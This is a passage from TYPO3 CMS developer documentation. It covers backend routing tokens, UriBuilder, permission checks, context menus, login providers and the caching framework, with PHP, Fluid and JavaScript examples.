the currently used backend URL (for example, https://example.org/typo3/),
the request will be denied otherwise.
refresh-empty triggers an HTML-based refresh in case HTTP Referer
header is not given or empty - this attempt uses an HTML refresh, since
regular HTTP Location redirect still would not set a referrer. It implies
this technique should only be used on plain HTML responses and will not have
any impact, for example, on JSON or XML response types.
This technique should be used on all public routes (without session token) that
internally redirect to a restricted route (having a session token). The goal is
to protect and keep information about the current session token internal.
The request sequence in the TYPO3 Core looks like this:
HTTP request to https://example.org/typo3/ having a valid user
session
Internally public backend route /login is processed
Internally redirects to restricted backend route /main since an
existing and valid backend user session was found
+ HTTP redirect to https://example.org/typo3/main?token=...
+ exposing the token is mitigated with referrer route option mentioned
above
Attention
Please keep in mind these steps are part of a mitigation strategy, which
requires to be aware of mentioned implications when implementing custom web
applications.
Dynamic URL parts in backend URLs
Backend routes can be registered with path segments that contain dynamic parts,
which are then resolved into a PSR-7 request attribute called
routing.
These routes are defined within the route path as named placeholders:
Using the UriBuilder API, you can generate any kind of URL for the backend, may
it be a module, a typical route or an Ajax call. Therefore use either
buildUriFromRoute() or
buildUriFromRoutePath(). The
UriBuilder then returns a PSR-7 conform
Uri object that can be
cast to a string when needed. Furthermore, the
UriBuilder automatically
generates and applies the mentioned session token.
To generate a backend URL via the
UriBuilder you'd usually use the route
identifier and optional
parameters.
In case of Extbase controllers you can append the controller action to the route
identifier to directly target those actions. See also module configuration: controllerActions.
Via Fluid ViewHelper
To generate a backend URL in Fluid you can simply use html:<f:be.link> (which
is using
UriBuilder internally).
<f:be.linkroute="web_layout"parameters="{id:42}">go to page 42</f:be.link><f:be.linkroute="web_ExtkeyExample">go to custom BE module</f:be.link><f:be.linkroute="web_ExtkeyExample.MyModuleController_list">
go to custom BE module but specific controller action
</f:be.link>
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Via PHP
Example within a controller (we use here a non-Extbase controller):
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Controller;
usePsr\Http\Message\ResponseInterface;
usePsr\Http\Message\ServerRequestInterface;
useTYPO3\CMS\Backend\Routing\UriBuilder;
finalclassMyRouteController{
publicfunction__construct(
private readonly UriBuilder $uriBuilder,
){}
publicfunctionhandle(ServerRequestInterface $request): ResponseInterface{
// ... do some stuff// Using a route identifier
$uri = $this->uriBuilder->buildUriFromRoute(
'web_layout',
['id' => 42],
);
// Using a route path
$uri = $this->uriBuilder->buildUriFromRoutePath(
'/record/edit',
[
'edit' => [
'pages' => [
123 => 'edit',
],
],
],
);
// Using a PSR-7 request object// This is typically useful when linking to the current route or module// in the TYPO3 backend to avoid internals with any PSR-7 request attribute.
$uri = $this->uriBuilder->buildUriFromRequest($request, ['id' => 42]);
// ... do some other stuff
}
}
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New in version 13.0
The
UriBuilder->buildUriFromRequest() method has been introduced.
Sudo mode
The sudo mode, as known from the install tool,
can be request for arbitrary backend modules.
You can configure the sudo mode in your backend routing like this:
The backend user of a session is always available in extensions
as the global variable
$GLOBALS['BE_USER']. The object is created in
\TYPO3\CMS\Backend\Middleware\BackendUserAuthenticator middleware for a standard web request
and is an instance of the class
\TYPO3\CMS\Core\Authentication\BackendUserAuthentication
(which extends
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication ).
When working with CLI and commands you might initialize the backend user object with
\TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser(). In addition, you can call
\TYPO3\CMS\Core\Core\Bootstrap::initializeBackendAuthentication() to load the language of the CLI user set in the backend so that view helpers (like
f:translate()) used in the CLI resolve to the correct language.
Checking user access
The
$GLOBALS['BE_USER'] object is mostly used to check user access right,
but contains other helpful information. This is presented here by a few examples:
Checking access to any backend module
If you know the module key you can check if the module is included in
the access list by this function call:
Changing the "1" for other values will check other permissions:
use "2" for checking if the user may edit the page
use "4" for checking if the user may delete the page.
Is a page inside a DB mount?
Access to a page should not be checked only based on page permissions
but also if a page is found within a DB mount for ther user. This can
be checked by this function call (
$id is the page uid):
If you wish to make a SQL statement which selects pages from the
database and you want it to be only pages that the user has read
access to, you can have a proper WHERE clause returned by this
function call:
Again the number "1" represents the "read" permission; "2" is "edit"
and "4" is "delete" permission. The result from the above query could be this string:
Result of the above query
((pages.perms_everybody & 1 = 1)OR(pages.perms_userid = 2 AND pages.perms_user & 1 = 1)OR(pages.perms_groupid in (1) AND pages.perms_group & 1 = 1))
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Saving module data
This stores the input variable
$compareFlags (an array!, retrieved from
the request object) with the key
"tools_beuser/index.php/compare":
The internal
->uc array contains options which are managed by the
User Tools > User Settings module (extension "setup"). These values are accessible in
the
$GLOBALS['BE_USER']->uc array. This will return the current state of
"Notify me by email, when somebody logs in from my account" for the user:
It is possible to send broadcast messages from anywhere in TYPO3 that are
listened to via JavaScript.
Warning
This API is considered internal and may change anytime until declared being stable.
Send a message
Any backend module may send a message using the
@typo3/backend/broadcast-service.jsES6 module.
The payload of such a message is an object that consists at least of the
following properties:
componentName - the name of the component that sends the message (e.g. extension name)
eventName - the event name used to identify the message
A message may contain any other property as necessary. The final event
name to listen is a composition of "typo3", the component name and the
event name, e.g. typo3:my_extension:my_event.
To send a message, the
post() method must be used.
To receive and thus react on a message, an event handler needs to be registered that listens to the composed event
name (e.g. typo3:my_component:my_event) sent to
document.
The event itself contains a property called detailexcluding the component name and event name.
classMyEventHandler{
constructor() {
document.addEventListener('typo3:my_component:my_event', (e) => eventHandler(e.detail));
}
functioneventHandler(detail) {
console.log(detail); // contains 'hello' and 'foo' as sent in the payload
}
}
exportdefaultnew MyEventHandler();
Hook into
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['typo3/backend.php']['constructPostProcess']
to load a custom
\TYPO3\CMS\Backend\Controller\BackendController hook
that loads the event handler's JavaScript.
The backend module menu button bar can display
dropdowns. This enables interface interactions, such as switching the current
view from list to tiles, or group actions like clipboard and thumbnail
visibility. This helps unclutter the views and allow the user to see more
information at a glance.
Each dropdown consists of various elements ranging from headings to item links
that can display the current status. The button automatically changes the
icon representation to the icon of the the first active radio icon in the
dropdown list.
DropDown button component in the File > Filelist module
DropDownButton
This button type is a container for dropdown items. It will render a dropdown
containing all items attached to it. There are different kinds available, each
item needs to implement the
\TYPO3\CMS\Backend\Template\Components\Buttons\DropDown\DropDownItemInterface .
When this type contains elements of type DropDownRadio
it will use the icon of the first active item of this type.
This dropdown item type renders an element with an active state. Use this
element to display a radio-like selection of a state. When set to active, it
will show a dot in front of the icon and text to indicate that this is the
current selection.
At least two of these items need to exist within a dropdown button, so a user
has a choice of a state to select.
This dropdown item type renders an element with an active state. When set to
active, it will show a checkmark in front of the icon and text to indicate the
current state.
The class
\TYPO3\CMS\Backend\Clipboard\Clipboard is marked
@internal. It is a specific Backend implementation and is not
considered part of the Public TYPO3 API. It might change without notice.
You can easily access the internal clipboard in TYPO3 from your
backend modules:
useTYPO3\CMS\Backend\Clipboard\Clipboard;
useTYPO3\CMS\Core\Utility\DebugUtility;
useTYPO3\CMS\Core\Utility\GeneralUtility;
classModuleControllerextendsActionControllerimplementsLoggerAwareInterface{
protectedfunctiondebugClipboard(){
/** @var $clipboard Clipboard */
$clipboard = GeneralUtility::makeInstance(Clipboard::class);
// Read the clipboard content from the user session
$clipboard->initializeClipboard();
DebugUtility::debug($clipboard->clipData);
}
}
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In this simple piece of code we instantiate a clipboard object and make it
load its content. We then dump this content into the BE module's debug
window, with the following result:
A dump of the clipboard in the debug window
This tells us what objects are registered on the default tab ("normal")
(a content element with id 216 in "copy" mode) and the numeric tabs (which can
each contain more than one element). It also tells us that the current
tab is number 2. We can compare with the BE view of the clipboard:
The clipboard as seen in the backend
which indeed contains two files.
Clipboard content should not be accessed directly, but using the
elFromTable() method of the clipboard object:
useTYPO3\CMS\Backend\Clipboard\Clipboard;
useTYPO3\CMS\Core\Utility\GeneralUtility;
classModuleControllerextendsActionControllerimplementsLoggerAwareInterface{
protectedfunctiongetCurrentClipboard():array{
/** @var $clipboard Clipboard */
$clipboard = GeneralUtility::makeInstance(Clipboard::class);
// Read the clipboard content from the user session
$clipboard->initializeClipboard();
// Access files and pages content of current pad
$clipboardContent = [
'files' => $clipboard->elFromTable('_FILE'),
'pages' => $clipboard->elFromTable('pages'),
];
return $clipboardContent;
}
}
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Here we first try to get all files and then all page records on the
current pad (which is pad 2). Then we change to the "Normal" pad, call
the elFromTable() method again.
In the "examples" extension, this data is passed to a BE module view
for display, which is really just information:
Clipboard items
Context-sensitive menus
Contextual menus exist in many places in the TYPO3 backend. Just try your
luck clicking on any icon that you see. Chances are good that a contextual
menu will appear, offering useful functions to execute.
The context menu shown after clicking on the Content Element icon
Context menu rendering flow
Markup
Changed in version 13.0
The configuration of the context menu was streamlined. Replace
class="t3js-contextmenutrigger" with
data-contextmenu-trigger="click"
data-table="pages" with
data-contextmenu-table="pages"
data-uid="10" with
data-contextmenu-uid="10"
data-context="tree" with
data-contextmenu-context="tree"
to be compatible with TYPO3 v12+.
The context menu is shown after clicking on the HTML element which has the
data-contextmenu-trigger attribute set together with
data-contextmenu-table,
data-contextmenu-uid and optional
data-contextmenu-context attributes.
The HTML attribute
data-contextmenu-trigger has the following options:
click: Opens the context menu on the "click" and "contextmenu"
events
contextmenu: Opens the context menu only on the "contextmenu" event
The JavaScript click event handler is implemented in the
ES6 module
@typo3/backend/context-menu.js. It takes the
data attributes mentioned above and executes an Ajax call to the
\TYPO3\CMS\Backend\Controller\ContextMenuController->getContextMenuAction().
ContextMenuController
ContextMenuController asks
\TYPO3\CMS\Backend\ContextMenu\ContextMenu
to generate an array of items.
ContextMenu builds a list of available
item providers by asking each whether it can provide items
(
$provider->canHandle()), and what priority it has
(
$provider->getPriority()).
Item providers registration
Custom item providers must implement
\TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface and can
extend
\TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider .
They are then automatically registered by adding the
backend.contextmenu.itemprovider
tag, if
autoconfigure is enabled in Services.yaml. The class
\TYPO3\CMS\Backend\ContextMenu\ItemProviders\ItemProvidersRegistry then
automatically receives those services and registers them.
If
autoconfigure is
not enabled in your Configuration/Services.(yaml|php) file,
manually configure your item providers with the
backend.contextmenu.itemprovider tag.
There are two item providers which are always available:
A list of providers is sorted by priority, and then each provider is asked to
add items. The generated array of items is passed from an item provider with
higher priority to a provider with lower priority.
After that, a compiled list of items is returned to the
ContextMenuController which passes it back to the
ContextMenu.js as JSON.
Menu rendering in JavaScript
Based on the JSON data context-menu.js is rendering a context menu. If
one of the items is clicked, the according JavaScript
callbackAction is
executed on the ES6 module
@typo3/backend/context-menu-actions.js
or other modules defined in the JSON as
additionalAttributes['data-callback-module'].
Several TYPO3 Core modules are already using this API for adding or modifying
items. See following places for a reference:
EXT:impexp module adds import and export options for pages, content elements
and other records. See item provider
\TYPO3\CMS\Impexp\ContextMenu\ItemProvider and ES6 module
@typo3/impexp/context-menu-actions.js.
EXT:filelist module provides several item providers for files, folders,
file mounts, filestorage, and drag-drop context menu for the folder tree.
See following item providers:
\TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileDragProvider,
\TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileProvider ,
\TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileStorageProvider,
\TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FilemountsProvider
and the ES6 module
@typo3/filelist/context-menu-actions.js
Adding context menu to elements in your backend module
Enabling context menu in your own backend modules is quite straightforward.
The examples below are taken from the "beuser" system extension and
assume that the module is Extbase-based.
The first step is to include the needed JavaScript using the
includeJavaScriptModules property
of the standard backend container Fluid view helper (or backend page
renderer view helper).
Doing so in your layout is sufficient (see
typo3/sysext/beuser/Resources/Private/Layouts/Default.html).
<!-- TYPO3 v12 and above --><f:be.pageRendererincludeJavaScriptModules="{0: '@typo3/backend/context-menu.js'}">
// ...
</f:be.pageRenderer><!-- TYPO3 v11 and v12 --><f:be.pageRendererincludeRequireJsModules="{0:'TYPO3/CMS/Backend/ContextMenu'}">
// ...
</f:be.pageRenderer>
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The second step is to activate the context menu on the icons. This kind of markup
is required (taken from
typo3/sysext/beuser/Resources/Private/Templates/BackendUser/Index.html):
the relevant line being highlighted. The attribute
data-contextmenu-trigger
triggers a context menu functionality for the current element. The
data-contextmenu-table attribute contains a table name of the record and
data-contextmenu-uid the
uid of the record.
The attribute
data-contextmenu-trigger has the following options:
click: Opens the context menu on the "click" and "contextmenu"
events
contextmenu: Opens the context menu only on the "contextmenu" event
One additional data attribute can be used
data-contextmenu-context with
values being, for example,
tree for context menu triggered from
the page tree. Context is used to hide menu items independently for page tree
independently from other places (disabled items can be configured in TSconfig).
Note
In most cases the
data-contextmenu-uid attribute contains an integer value.
However, in case of files and folders this attribute takes file/folder path
as a value like
data-contextmenu-uid="1:/some-folder/some-file.pdf"
Disabling Context Menu Items from TSConfig
Context menu items can be disabled in TSConfig by adding item name to the
options.contextMenu option corresponding to the table and context
you want to cover.
For example, disabling
edit and
new items for
table
pages use:
Follow these steps to add a custom menu item for pages records. You will add a
"Hello world" item which will show an info after clicking.
Context menu with custom item
Step 1: Implementation of the item provider class
Implement your own item provider class. Provider must implement
\TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface and
can extend
\TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider
or any other provider from EXT:backend.
See comments in the following code snippet clarifying implementation details.
<?phpnamespaceT3docs\Examples\ContextMenu;
/**
* This file is part of the TYPO3 CMS project.
*
* It is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License, either version 2
* of the License, or any later version.
*
* For the full copyright and license information, please read the
* LICENSE.txt file that was distributed with this source code.
*
* The TYPO3 project - inspiring people to share!
*/useTYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider;
/**
* Item provider adding Hello World item
*/classHelloWorldItemProviderextendsAbstractProvider{
/**
* This array contains configuration for items you want to add
* @var array
*/protected $itemsConfiguration = [
'hello' => [
'type' => 'item',
'label' => 'Hello World', // you can use "LLL:" syntax here'iconIdentifier' => 'actions-lightbulb-on',
'callbackAction' => 'helloWorld', //name of the function in the JS file
],
];
/**
* Checks if this provider may be called to provide the list of context menu items for given table.
*
* @return bool
*/publicfunctioncanHandle(): bool{
// Current table is: $this->table// Current UID is: $this->identifier// return $this->table === 'pages';returntrue;
}
/**
* Returns the provider priority which is used for determining the order in which providers are processing items
* to the result array. Highest priority means provider is evaluated first.
*
* This item provider should be called after PageProvider which has priority 100.
*
* BEWARE: Returned priority should logically not clash with another provider.
* Please check @see \TYPO3\CMS\Backend\ContextMenu\ContextMenu::getAvailableProviders() if needed.
*
* @return int
*/publicfunctiongetPriority(): int{
return55;
}
/**
* Registers the additional JavaScript RequireJS callback-module which will allow to display a notification
* whenever the user tries to click on the "Hello World" item.
* The method is called from AbstractProvider::prepareItems() for each context menu item.
*
* @param string $itemName
* @return array
*/protectedfunctiongetAdditionalAttributes(string $itemName): array{
return [
'data-callback-module' => '@t3docs/examples/context-menu-actions',
// Here you can also add any other useful "data-" attribute you'd like to use in your JavaScript (e.g. localized messages)
];
}
/**
* This method adds custom item to list of items generated by item providers with higher priority value (PageProvider)
* You could also modify existing items here.
* The new item is added after the 'info' item.
*
* @param array $items
* @return array
*/publicfunctionaddItems(array $items): array{
$this->initDisabledItems();
// renders an item based on the configuration from $this->itemsConfiguration
$localItems = $this->prepareItems($this->itemsConfiguration);
if (isset($items['info'])) {
//finds a position of the item after which 'hello' item should be added
$position = array_search('info', array_keys($items), true);
//slices array into two parts
$beginning = array_slice($items, 0, $position+1, true);
$end = array_slice($items, $position, null, true);
// adds custom item in the correct position
$items = $beginning + $localItems + $end;
} else {
$items = $items + $localItems;
}
//passes array of items to the next item providerreturn $items;
}
/**
* This method is called for each item this provider adds and checks if given item can be added
*
* @param string $itemName
* @param string $type
* @return bool
*/protectedfunctioncanRender(string $itemName, string $type): bool{
// checking if item is disabled through TSConfigif (in_array($itemName, $this->disabledItems, true)) {
returnfalse;
}
$canRender = false;
switch ($itemName) {
case'hello':
$canRender = $this->canSayHello();
break;
}
return $canRender;
}
/**
* Helper method implementing e.g. access check for certain item
*
* @return bool
*/protectedfunctioncanSayHello(): bool{
//usually here you can find more sophisticated condition. See e.g. PageProvider::canBeEdited()returntrue;
}
}
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Step 2: JavaScript actions
Provide a JavaScript file (ES6 module) which will be
called after clicking on the context menu item.
/**
* Module: @t3docs/examples/context-menu-actions
*
* JavaScript to handle the click action of the "Hello World" context menu item
*/classContextMenuActions{
helloWorld(table, uid) {
if (table === 'pages') {
//If needed, you can access other 'data' attributes here from $(this).data('someKey')//see item provider getAdditionalAttributes method to see how to pass custom data attributes
top.TYPO3.Notification.error('Hello World', 'Hi there!', 5);
}
};
}
exportdefaultnew ContextMenuActions();
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Register the JavaScript ES6 modules of your extension if not done yet:
If you have
autoconfigure: true set in your extension's Services.yaml file all
classes implementing
\TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface
get registered as context menu items automatically:
TYPO3 allows extension developers to register their own
permission options, managed automatically by the built-in user group
access lists. The options can be grouped in categories. A custom
permission option is always a checkbox (on/off).
The scope of such options is the backend only.
Registration
Options are configured in the global variable
$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions'] in
EXT:my_extension/ext_tables.php. The syntax is demonstrated in
the following example, which registers two custom permission options:
EXT:my_extension/ext_tables.php
<?phpdeclare(strict_types=1);
defined('TYPO3') ordie();
// Register some custom permission options shown in BE group access lists
$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions']['tx_styleguide_custom'] = [
'header' => 'Custom styleguide permissions',
'items' => [
'key1' => [
'Option 1',
// Icon has been registered in Icons.php'tcarecords-tx_styleguide_forms-default',
'Description 1',
],
'key2' => [
'Option 2',
],
],
];
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The result is that these options appear in the group access lists like
this:
The custom permissions appear in the Access List tab of backend user groups
As you can see it is possible to add both an icon and a description text.
If icons not provided by the Core are used, they need to be registered
with the Icon API.
Evaluation
To check if a custom permission option is set call the following API
function from the user object:
$catKey is the category in which the option resides. From the example
above this would be tx_examples_cat1.
$itemKey is the key of the item in the category you are evaluating.
From the example above this could be key1, key2 or key3
depending on which one of them you want to evaluate.
The function returns true if the option is set, otherwise false.
Keys for Options
It is good practice to use the extension keys prefixed with tx_ on
the first level of the array to avoid potential conflicts with other
custom options.
Attention
Never pick a key containing any of the characters
",:\|". They are reserved delimiter characters.
Backend login form API
Registering a login provider
The concept of the backend login is based on "login providers".
A login provider can be registered within your config/system/settings.php
or config/system/additional.php like this:
The login provider class name, which must implement
\TYPO3\CMS\Backend\LoginProvider\LoginProviderInterface .
sorting
The sorting is important for the ordering of the links to the possible
login providers on the login screen.
iconIdentifier
Accepts any icon identifier that is available in the Icon Registry.
label
The label for the login provider link on the login screen.
For a new login provider you have to register a new key - by best practice
the current unix timestamp - in
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'] .
If your login provider extends another one, you may only overwrite necessary
settings. An example would be to extend an existing provider and
replace its registered
provider class with your custom class.
Method
LoginProviderInterface->render() has been marked as deprecated
and is substituted by
LoginProviderInterface->modifyView() that will
be added to the interface in TYPO3 v14, removing
render() from the
interface in v14. See section Migration.
The
LoginProviderInterface contains
only the deprecated render() method in TYPO3 v13.
See UsernamePasswordLoginProvider on how this can be used.
param $request
the request
param $view
the view
Return description
Template file to render
Returns
string
Migration
Consumers of
LoginProviderInterface
should implement the
modifyView() method and and retain a stub for the
render() method to satisfy the interface. See the example below.
The transition should be smooth. Consumers that need
\TYPO3\CMS\Core\Page\PageRenderer for JavaScript magic, should use
dependency injection to receive an instance
of it.
An implementation of
LoginProviderInterface could
look like this for TYPO3 v13:
The default implementation in
UsernamePasswordLoginProvider
is a good example. Extensions that need to configure additional template, layout or
partial lookup paths can extend them, see lines 23-28 in the example above.
Consumers of
ModifyPageLayoutOnLoginProviderSelectionEvent
should use the request instead, and/or should get an instance of
PageRenderer injected as well.
The view
Deprecated since version 13.3
Method
LoginProviderInterface->render() has been marked as deprecated
and is substituted by
LoginProviderInterface->modifyView() that will
be added to the interface in TYPO3 v14, removing
render() from the
interface in v14. See section Migration.
The name of the template must be returned by the modifyView() method of the
login provider. Variables can be assigned to the view supplied as
second parameter.
The template file must only contain the form fields, not the form-tag.
Later on, the view renders the complete login screen.
View requirements:
The template must use the Login-layout provided by the
Core <f:layout name="Login">.
Form fields must be provided within the section
<f:section name="loginFormFields">.
The page tree is a hierarchical structure that represents pages and their
subpages on a website, allowing editors and integrators to easily organize and
manage content and navigation.
It is displayed on the left of backend modules with
navigationComponent
set to '@typo3/backend/tree/page-tree-element'.
Allows developers to extend the page trees filter's functionality and
process the given search phrase in more advanced ways.
TsConfig settings to influence the page tree
The rendering of the page tree can be influenced via user TsConfig
options.pageTree.
Use the backend UriBuilder to link to "Edit Records"
It is often needed to create links to edit records in the TYPO3 backend.
The same syntax is also used for creating new records.
TYPO3 provides an API for creating such links, namely
\TYPO3\CMS\Backend\Routing\UriBuilder.
Hint
Make sure to use \TYPO3\CMS\Backend\Routing\UriBuilder to create
backend links and not \TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder.
The variable available as $this->uriBuilder in a controller is the
web routing UriBuilder and can only be used for frontend links.
When using Fluid templates the URI
either has to be created via PHP in the controller or a ViewHelper to be used.
The examples above leads to the normal edit form for a page:
Page 1 ready for editing with the standard form
Additional options for editing records
When creating the link via PHP it is possible to add more options.
You can specify as many tables and UIDs as needed and you will get them all in
one single form!
(short way of editing more records from the same table at once).
Also the fields to be displayed can be restricted.
The fields to be included can be listed in the columnsOnly parameter, as a comma-separated list.
The order of the fields doesn't matter, they get displayed in the order they appear in the TCA.
If a field is missing or access restricted in one of the tables it just doesn't appear.
However if one record to be edited is missing none of the records gets displayed.
The example above results in the following:
Editing of fields of two pages and one haiku at once
The link triggers the creation a new record for the table tx_examples_haiku
on page 1. It also sets a default value for the title field ("New haiku") and
selects the season "Spring". It only displays the fields defined by columnsOnly.
Note the following things:
the first parameter is called "edit" even if this is about creating a new record.
The creation of a record is indicated by the value "new".
the key of the entry with value "new" indicates the pid on which the record is to be created.
the values get automatically url-encoded so you can use any special char in the defaults
This results in the following new record form with a pre-filled
title and season field.
Form for creating a new haiku with pre-filled title and season and restricted columns
Bitsets
Bitsets are used to handle boolean flags efficiently.
The class
\TYPO3\CMS\Core\Type\BitSet provides a TYPO3 implementation of
a bitset. It can be used standalone and accessed from the outside, but we
recommend creating specific bitset classes that extend the TYPO3
BitSet class.
The functionality is best described by an example:
TYPO3 uses multiple caching strategies to ensure fast content delivery.
Depending on the content a page contains, TYPO3 chooses the best caching
strategy for that use case.
For example, you might have a fully-cacheable page, a page that is at least
partially cacheable or a page that is completely dynamic. Dynamic elements in
TYPO3 are also known as USER_INT or
COA_INT objects - as these are the matching
Typoscript objects used to render non-cacheable content.
When visiting a TYPO3 web site, TYPO3 knows the following states:
first time hit, page has never been rendered ("cache miss")
consecutive hit, page has been rendered before ("cache hit")
In the first case, TYPO3 renders the complete page and writes cache entries as
configured. In the second case, TYPO3 fetches those entries from the cache and
delivers them to the user without re-triggering the rendering.
In that second case, either the page is fully cached and directly delivered from
the cache, or the page has non-cacheable elements on it. If a page has
non-cacheable elements, TYPO3 first fetches the cached part of the page and then
renders all dynamic parts.
Note
The cache contains placeholders for dynamic elements to tell TYPO3 where to
render dynamic parts.
Hint
For developers: If you are developing a plugin,
think about your plugin's cache lifetime. Ideally, it can be fully cached,
but if not, read the section about the
caching framework to learn how to leverage
TYPO3's caching mechanism to cache your plugin for however long you can -
even 30 seconds might improve performance in some scenarios.
Caching variants - or: What is a "cache hash"?
TYPO3 ideally delivers fully cached pages for maximum performance. However, in
scenarios where the same page will deliver different content depending on URL
parameters, TYPO3 needs a possibility to identify these "variants" and cache
each of them differently. For example, if you have a news plugin and a detail
page, the detail page is different for every news entry.
To identify the variant, TYPO3 combines a set of parameters and generates a hash
value as identifier. These parameters include by default:
id: The current page ID
type: The current page type (typeNum)
groupIds: The user groups of the logged-in user (if no user is logged in:
0, -1 as default values)
staticRouteArguments: Any route argument configured in the
routing configuration and resolved in the current
request
dynamicArguments: Any "GET" parameters influencing the rendered page
Imagine the following URL https://example.org/news/?tx_example_news[id]=123
displaying the news with ID 123. If TYPO3 would cache that page with that
parameter without any security mechanisms, it would open a potential denial of
service attack as an unlimited amount of cache entries could be generated by
adding arbitrary parameters. To avoid that, TYPO3 generates a so-called "cHash"
parameter, which is a hash that basically signs the valid parameters for that
request. So any parameter that validly influences the rendered page needs to be
part of that cHash.
With routing you can configure TYPO3 not to display the cHash
in your URLs in most cases. Routing adds an explicit mapping of incoming
readable URL slugs to internal parameter values. This both adds an additional
layer for validating slugs as well as reduces the parameters to a limited (and
predictable) set of values.
Various configuration options exist to configure the cHash behavior via
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']
in the file config/system/settings.php or config/system/additional.php:
cachedParametersWhiteList
cachedParametersWhiteList
Only the given parameters will be evaluated in the cHash calculation.
Example: tx_news_pi1[uid]
Attention
This option will lead to cache calculation being skipped for all
parameters except the ones listed here. Caching of pages will not be
influenced by other parameters beyond the initial caching anymore.
requireCacheHashPresenceParameters
requireCacheHashPresenceParameters
Configure parameters that require a cHash. If no cHash is given, but one of
the parameters are set, then TYPO3 triggers the configured cHash error
behavior
excludedParameters
excludedParameters
The given parameters will be ignored in the cHash calculation.
Example: L,tx_search_pi1[query]
excludedParametersIfEmpty
excludedParametersIfEmpty
Configure parameters only being relevant for the cHash if there is an
associated value available. Set excludeAllEmptyParameters to true to skip
all empty parameters.
excludeAllEmptyParameters
excludeAllEmptyParameters
If true, all parameters relevant to cHash are only considered when they are
not empty.
enforceValidation
enforceValidation
If this option is enabled, the same validation is used to calculate a cHash
value as when a valid or invalid "cHash" parameter is given to a request,
even when no cHash is given.
All properties can be configured with an array of values. Besides exact matches
(equals) it is possible to apply partial matches at the beginning of a
parameter (startsWith) or inline occurrences (contains).
URL parameter names are prefixed with the following indicators:
= (equals): exact match, default behavior if not given
^ (startsWith): matching the beginning of a parameter name
~ (contains): matching any inline occurrence in a parameter name
These indicators can be used for all previously existing sub-properties
cachedParametersWhiteList,
excludedParameters,
excludedParametersIfEmpty
and
requireCacheHashPresenceParameters.
Clearing the cache for a single page is done by using the "clear cache button"
on that page in the backend (usually visualized with a "bolt" icon). Depending
on user rights this option is available for editors.
Clearing the frontend caches and all caches can be done via the system toolbar
in the TYPO3 backend. This option should only be available to administrators.
Clearing all caches can have a significant impact on the performance of the web
site and should be used sparingly on production systems.
The "fullest" option to clear all caches can be reached via the
System Tools > Maintenance section. In the development context when
new classes have been added to the system or in case of problems with the system
using this cache clearing option will clear all caches including compiled code
like the dependency injection container.
Clear cache command
In addition to the GUI options explained above, caches can also be cleared
via a CLI command:
vendor/bin/typo3 cache:flush
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typo3/sysext/core/bin/typo3 cache:flush
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Specific cache groups can be defined via the group option.
The usage is described as this:
cache:flush [--group <all|system|di|pages|...>]
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All available cache groups can be supplied as
option. The command defaults to flush all available cache groups as the
System Tools > Maintenance area does.
Extensions that register custom caches may listen to the CacheFlushEvent,
but usually the cache flush via cache manager groups will suffice to clear those
caches, too.
Cache warmup
It is possible to warmup TYPO3 caches using the command line.
The administrator can use the following
CLI command:
vendor/bin/typo3 cache:warmup
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typo3/sysext/core/bin/typo3 cache:warmup
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Specific cache groups can be defined via the group option.
The usage is described as this:
cache:warmup [--group <all|system|di|pages|...>]
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All available cache groups can be supplied as
option. The command defaults to warm all available cache groups.
Extensions that register custom caches are encouraged to implement cache warmers
via CacheWarmupEvent.
Note
TYPO3 frontend caches will not be warmed by TYPO3 Core, such functionality
could be added by third-party extensions with the help of
CacheWarmupEvent.
Use case: deployment
It is often required to clear caches during deployment of TYPO3 instance.
The integrator may decide to flush all caches or may alternatively flush
selected groups (for example, "pages"). It is common practice to clear all
caches during deployment of a TYPO3 instance update. This means that the first
request after a deployment usually takes a major amount of time and blocks other
requests due to cache-locks.
TYPO3 caches can be warmed during deployment in release preparatory steps in
symlink-based deployment/release procedures. This enables fast first requests
with all (or at least system) caches being prepared and warmed.
Caches are often filesystem relevant (file paths are calculated into cache
hashes), therefore cache warmup should only be performed on the the live system,
in the final folder of a new release, and ideally before switching
to that new release (via symlink switch).
Warning
Caches that have been pre-created on the continuous integration server
will likely be useless as cache hashes will not match (as the final file
system path is relevant to the hash generation).
To summarize: Cache warmup is to be used during deployment, on the live system
server, inside the new release folder and before switching to the new release.
An example deployment could consist of:
Before the release:
git-checkout/rsync your codebase to the continuous integration / build
server
composer install on the continuous integration / build server
vendor/bin/typo3 cache:warmup --group system (only on the live
system)
Change release symlink to the new release folder
After the release:
vendor/bin/typo3 cache:flush --group pages
The conceptional idea is to warmup all file-related caches before (symlink)
switching to a new release and to only flush database and frontend (shared)
caches after the symlink switch. Database warmup could be implemented with
the help of the CacheWarmupEvent as an additionally functionality by
third-party extensions.
Note that file-related caches (summarized into the group "system") can safely be
cleared before doing a release switch, as it is recommended to keep file caches
per release. In other words, share var/session/, var/log/,
var/lock/ and var/charset/ between releases, but keep
var/cache/ be associated only with one release.
Caching framework
TYPO3 contains a data caching framework which supports a wide variety of storage
solutions and options for different caching needs. Each cache can be configured
individually and can implement its own specific storage strategy.
The caching framework exists to help speeding up TYPO3 sites, especially
heavily loaded ones. It is possible to move all caches to a dedicated cache
server with specialized cache systems like the Redis key-value store (a so
called NoSQL database).
Major parts of the original caching framework were originally backported from
TYPO3 Flow.
If specific settings should be applied to the configuration, they should be
added to config/system/settings.php. All settings in
config/system/settings.php will be merged with
DefaultConfiguration.php. The easiest way to see the final cache
configuration is to use the TYPO3 backend module
System > Configuration > $GLOBALS['TYPO3_CONF_VARS']
(with installed lowlevel system extension).
Example for a configuration of a
Redis cache backend on Redis database number 42
